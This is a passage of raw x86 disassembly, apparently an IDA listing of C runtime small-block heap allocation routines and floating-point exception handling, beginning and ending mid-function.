		push	dword_48B684
		nop
		call	near ptr 2710000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41B9C5


loc_41B8B9:				; CODE XREF: sub_41B888+12j
		mov	ebp, dword_4241B4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41B9AE
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41B9A0
		mov	eax, offset off_4397C0
		cmp	esi, eax
		jnz	short loc_41B918
		cmp	off_4397C0, 0
		jnz	short loc_41B908
		mov	off_4397C0, eax


loc_41B908:				; CODE XREF: sub_41B888+79j
		cmp	off_4397C4, 0
		jnz	short loc_41B92D
		mov	off_4397C4, eax
		jmp	short loc_41B92D
; ---------------------------------------------------------------------------


loc_41B918:				; CODE XREF: sub_41B888+70j
		mov	[esi], eax
		mov	eax, off_4397C4
		mov	[esi+4], eax
		mov	off_4397C4, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41B92D:				; CODE XREF: sub_41B888+87j
					; sub_41B888+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41B94F:				; CODE XREF: sub_41B888+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41B94F
		push	ebx
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch


loc_41B978:				; CODE XREF: sub_41B888+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41B99C
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41B978
; ---------------------------------------------------------------------------


loc_41B99C:				; CODE XREF: sub_41B888+F7j
		mov	eax, esi
		jmp	short loc_41B9C7
; ---------------------------------------------------------------------------


loc_41B9A0:				; CODE XREF: sub_41B888+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 285072Dh


loc_41B9AE:				; CODE XREF: sub_41B888+4Bj
		cmp	esi, offset off_4397C0
		jz	short loc_41B9C5
		push	esi
		push	0
		push	dword_48B684
		nop
		call	near ptr 2700000h


loc_41B9C5:				; CODE XREF: sub_41B888+2Bj
					; sub_41B888+12Cj
		xor	eax, eax


loc_41B9C7:				; CODE XREF: sub_41B888+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B888	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B9CC	proc near		; CODE XREF: sub_41BA22+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 285072Dh
		cmp	off_43B7E0, esi
		jnz	short loc_41B9F1
		mov	eax, [esi+4]
		mov	off_43B7E0, eax


loc_41B9F1:				; CODE XREF: sub_41B9CC+1Bj
		cmp	esi, offset off_4397C0
		jz	short loc_41BA19
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_48B684
		nop
		call	near ptr 2700000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BA19:				; CODE XREF: sub_41B9CC+2Bj
		or	dword_4397D0, 0FFFFFFFFh
		pop	esi
		retn
sub_41B9CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA22	proc near		; CODE XREF: sub_41BB3B+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_4397C4
		push	edi


loc_41BA2F:				; CODE XREF: sub_41BA22+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41BACD
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41BA48:				; CODE XREF: sub_41BA22+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41BA89
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	near ptr 285072Dh
		nop
		test	eax, eax
		jz	short loc_41BA89
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_48A07C
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41BA7E
		cmp	eax, edi
		jbe	short loc_41BA81


loc_41BA7E:				; CODE XREF: sub_41BA22+56j
		mov	[esi+0Ch], edi


loc_41BA81:				; CODE XREF: sub_41BA22+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41BA96


loc_41BA89:				; CODE XREF: sub_41BA22+2Cj
					; sub_41BA22+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41BA48


loc_41BA96:				; CODE XREF: sub_41BA22+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41BACD
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41BACD
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41BAAD:				; CODE XREF: sub_41BA22+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41BABE
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41BAAD


loc_41BABE:				; CODE XREF: sub_41BA22+8Ej
		cmp	edx, 400h
		jnz	short loc_41BACD
		push	ecx
		call	sub_41B9CC
		pop	ecx


loc_41BACD:				; CODE XREF: sub_41BA22+11j
					; sub_41BA22+7Dj ...
		cmp	esi, off_4397C4
		jz	short loc_41BADF
		cmp	[ebp+arg_0], 0
		jg	loc_41BA2F


loc_41BADF:				; CODE XREF: sub_41BA22+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BA22	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BAE4	proc near		; CODE XREF: sub_417C3B+3Ap
					; sub_41944F+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_4397C0
		push	esi
		mov	ecx, edx


loc_41BAF0:				; CODE XREF: sub_41BAE4+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41BAFA
		cmp	eax, [ecx+14h]
		jb	short loc_41BB02


loc_41BAFA:				; CODE XREF: sub_41BAE4+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41BB37
		jmp	short loc_41BAF0
; ---------------------------------------------------------------------------


loc_41BB02:				; CODE XREF: sub_41BAE4+14j
		test	al, 0Fh
		jnz	short loc_41BB37
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41BB37
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41BB37:				; CODE XREF: sub_41BAE4+1Aj
					; sub_41BAE4+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41BAE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB3B	proc near		; CODE XREF: sub_417C3B+4Dp
					; sub_41944F+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41BB7F
		inc	dword_48A07C
		cmp	dword_48A07C, 20h
		jnz	short locret_41BB7F
		push	10h
		call	sub_41BA22
		pop	ecx

locret_41BB7F:				; CODE XREF: sub_41BB3B+2Bj
					; sub_41BB3B+3Aj
		retn
sub_41BB3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB80	proc near		; CODE XREF: sub_417BC7+4Ap
					; sub_41944F+1ACp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43B7E0
		push	edi


loc_41BB8E:				; CODE XREF: sub_41BB80+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41BC39
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41BBF3


loc_41BBB9:				; CODE XREF: sub_41BB80+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41BBDC
		cmp	[edi+4], ebx
		jbe	short loc_41BBDC
		push	ebx
		push	ecx
		push	eax
		call	sub_41BD88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC4B
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41BBDC:				; CODE XREF: sub_41BB80+40j
					; sub_41BB80+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41BBB9
		jmp	short loc_41BBF6
; ---------------------------------------------------------------------------


loc_41BBF3:				; CODE XREF: sub_41BB80+37j
		mov	ebx, [ebp+arg_0]


loc_41BBF6:				; CODE XREF: sub_41BB80+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41BC3C


loc_41BC09:				; CODE XREF: sub_41BB80+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41BC28
		cmp	[edi+4], ebx
		jbe	short loc_41BC28
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41BD88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC4B
		mov	[edi+4], ebx


loc_41BC28:				; CODE XREF: sub_41BB80+8Dj
					; sub_41BB80+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41BC09
		jmp	short loc_41BC3C
; ---------------------------------------------------------------------------


loc_41BC39:				; CODE XREF: sub_41BB80+14j
		mov	ebx, [ebp+arg_0]


loc_41BC3C:				; CODE XREF: sub_41BB80+87j
					; sub_41BB80+B7j
		mov	esi, [esi]
		cmp	esi, off_43B7E0
		jz	short loc_41BC5B
		jmp	loc_41BB8E
; ---------------------------------------------------------------------------


loc_41BC4B:				; CODE XREF: sub_41BB80+54j
					; sub_41BB80+A3j
		mov	off_43B7E0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41BD83
; ---------------------------------------------------------------------------


loc_41BC5B:				; CODE XREF: sub_41BB80+C4j
		mov	eax, offset off_4397C0
		mov	edi, eax


loc_41BC62:				; CODE XREF: sub_41BB80+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41BC6E
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41BC7A


loc_41BC6E:				; CODE XREF: sub_41BB80+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41BD4F
		jmp	short loc_41BC62
; ---------------------------------------------------------------------------


loc_41BC7A:				; CODE XREF: sub_41BB80+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41BCA9


loc_41BC98:				; CODE XREF: sub_41BB80+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41BCA9
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41BC98


loc_41BCA9:				; CODE XREF: sub_41BB80+116j
					; sub_41BB80+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	near ptr 2850894h
		nop
		cmp	eax, esi
		jnz	loc_41BD81
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_417330
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41BD10
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41BCE6:				; CODE XREF: sub_41BB80+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41BCE6


loc_41BD10:				; CODE XREF: sub_41BB80+15Ej
		mov	off_43B7E0, edi
		lea	eax, [edi+2018h]


loc_41BD1C:				; CODE XREF: sub_41BB80+1A8j
		cmp	ecx, eax
		jnb	short loc_41BD2C
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41BD2A
		add	ecx, 8
		jmp	short loc_41BD1C
; ---------------------------------------------------------------------------


loc_41BD2A:				; CODE XREF: sub_41BB80+1A3j
		cmp	ecx, eax


loc_41BD2C:				; CODE XREF: sub_41BB80+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41BD83
; ---------------------------------------------------------------------------


loc_41BD4F:				; CODE XREF: sub_41BB80+F2j
		call	sub_41B888
		test	eax, eax
		jz	short loc_41BD81
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43B7E0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41BD83
; ---------------------------------------------------------------------------


loc_41BD81:				; CODE XREF: sub_41BB80+143j
					; sub_41BB80+1D6j
		xor	eax, eax


loc_41BD83:				; CODE XREF: sub_41BB80+D6j
					; sub_41BB80+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BB80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD88	proc near		; CODE XREF: sub_41BB80+4Ap
					; sub_41BB80+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41BDCD
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41BDBC
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41BDC5
; ---------------------------------------------------------------------------


loc_41BDBC:				; CODE XREF: sub_41BD88+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41BDC5:				; CODE XREF: sub_41BD88+32j
		lea	eax, [edi+8]
		jmp	loc_41BE9B
; ---------------------------------------------------------------------------


loc_41BDCD:				; CODE XREF: sub_41BD88+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41BDD6
		mov	eax, esi


loc_41BDD6:				; CODE XREF: sub_41BD88+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41BE20


loc_41BDDD:				; CODE XREF: sub_41BD88+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41BE13
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41BDE9:				; CODE XREF: sub_41BD88+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BDF2
		inc	ebx
		inc	esi
		jmp	short loc_41BDE9
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BD88+64j
		cmp	esi, edx
		jnb	short loc_41BE44
		cmp	eax, [ebp+var_4]
		jnz	short loc_41BE00
		mov	[ecx+4], esi
		jmp	short loc_41BE0C
; ---------------------------------------------------------------------------


loc_41BE00:				; CODE XREF: sub_41BD88+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41BEA5


loc_41BE0C:				; CODE XREF: sub_41BD88+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41BE18
; ---------------------------------------------------------------------------


loc_41BE13:				; CODE XREF: sub_41BD88+59j
		movzx	esi, bl
		add	eax, esi


loc_41BE18:				; CODE XREF: sub_41BD88+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41BDDD


loc_41BE20:				; CODE XREF: sub_41BD88+53j
		lea	esi, [ecx+8]


loc_41BE23:				; CODE XREF: sub_41BD88+EBj
					; sub_41BD88+F2j
		cmp	esi, edi
		jnb	short loc_41BEA5
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41BEA5
		mov	al, [esi]
		test	al, al
		jnz	short loc_41BE75
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41BE3B:				; CODE XREF: sub_41BD88+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BE65
		inc	ebx
		inc	eax
		jmp	short loc_41BE3B
; ---------------------------------------------------------------------------


loc_41BE44:				; CODE XREF: sub_41BD88+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BE55
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41BE5E
; ---------------------------------------------------------------------------


loc_41BE55:				; CODE XREF: sub_41BD88+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41BE5E:				; CODE XREF: sub_41BD88+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41BE9B
; ---------------------------------------------------------------------------


loc_41BE65:				; CODE XREF: sub_41BD88+B6j
		cmp	eax, edx
		jnb	short loc_41BE7C
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41BEA5
		mov	esi, ebx
		jmp	short loc_41BE23
; ---------------------------------------------------------------------------


loc_41BE75:				; CODE XREF: sub_41BD88+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41BE23
; ---------------------------------------------------------------------------


loc_41BE7C:				; CODE XREF: sub_41BD88+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BE8D
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41BE96
; ---------------------------------------------------------------------------


loc_41BE8D:				; CODE XREF: sub_41BD88+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41BE96:				; CODE XREF: sub_41BD88+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41BE9B:				; CODE XREF: sub_41BD88+40j
					; sub_41BD88+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41BEA7
; ---------------------------------------------------------------------------


loc_41BEA5:				; CODE XREF: sub_41BD88+7Ej
					; sub_41BD88+9Dj ...
		xor	eax, eax


loc_41BEA7:				; CODE XREF: sub_41BD88+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BD88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BEAC	proc near		; CODE XREF: sub_41944F+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41BEE6
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BEE6:				; CODE XREF: sub_41BEAC+26j
		jnb	short loc_41BF4D
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41BF4D
		lea	eax, [ecx+edx]


loc_41BEFB:				; CODE XREF: sub_41BEAC+59j
		cmp	eax, esi
		jnb	short loc_41BF09
		cmp	byte ptr [eax],	0
		jnz	short loc_41BF07
		inc	eax
		jmp	short loc_41BEFB
; ---------------------------------------------------------------------------


loc_41BF07:				; CODE XREF: sub_41BEAC+56j
		cmp	eax, esi


loc_41BF09:				; CODE XREF: sub_41BEAC+51j
		jnz	short loc_41BF4D
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41BF41
		cmp	esi, eax
		jbe	short loc_41BF41
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41BF38
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41BF33


loc_41BF2C:				; CODE XREF: sub_41BEAC+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41BF2C


loc_41BF33:				; CODE XREF: sub_41BEAC+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF38:				; CODE XREF: sub_41BEAC+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41BF41:				; CODE XREF: sub_41BEAC+68j
					; sub_41BEAC+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41BF46:				; CODE XREF: sub_41BEAC+38j
		mov	[ebp+var_4], 1


loc_41BF4D:				; CODE XREF: sub_41BEAC:loc_41BEE6j
					; sub_41BEAC+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BEAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_41BF55(int,int,double,int)

sub_41BF55	proc near		; CODE XREF: sub_417CA4+51p
					; sub_417DEB+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43BF38, 0
		jnz	short loc_41BF8A
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_41C50A
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BF8A:				; CODE XREF: sub_41BF55+Aj
		push	0FFFFh
		mov	dword_48A014, 21h
		push	[ebp+arg_C]
		call	sub_41C77D
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41BF55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41BFA8(int,int,double,double,int)

sub_41BFA8	proc near		; CODE XREF: sub_417CA4:loc_417D67p
					; sub_417DEB:loc_417EAEp

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2F3
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BFE6
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_41C040
		add	esp, 18h


loc_41BFE6:				; CODE XREF: sub_41BFA8+1Aj
		push	[ebp+arg_0]
		call	sub_41C5DD
		cmp	dword_43BF38, 0
		pop	ecx
		jnz	short loc_41C024
		test	eax, eax
		jz	short loc_41C024
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_41C50A
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C024:				; CODE XREF: sub_41BFA8+4Ej
					; sub_41BFA8+52j
		push	eax
		call	sub_41C592
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41C77D
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_41BFA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C040	proc near		; CODE XREF: sub_41BFA8+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_41C072
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_41C072:				; CODE XREF: sub_41C040+23j
		test	cl, 2
		jz	short loc_41C085
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_41C085:				; CODE XREF: sub_41C040+35j
		test	cl, bl
		jz	short loc_41C097
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_41C097:				; CODE XREF: sub_41C040+47j
		test	cl, 4
		jz	short loc_41C0AA
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_41C0AA:				; CODE XREF: sub_41C040+5Aj
		test	cl, 8
		jz	short loc_41C0BD
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_41C0BD:				; CODE XREF: sub_41C040+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
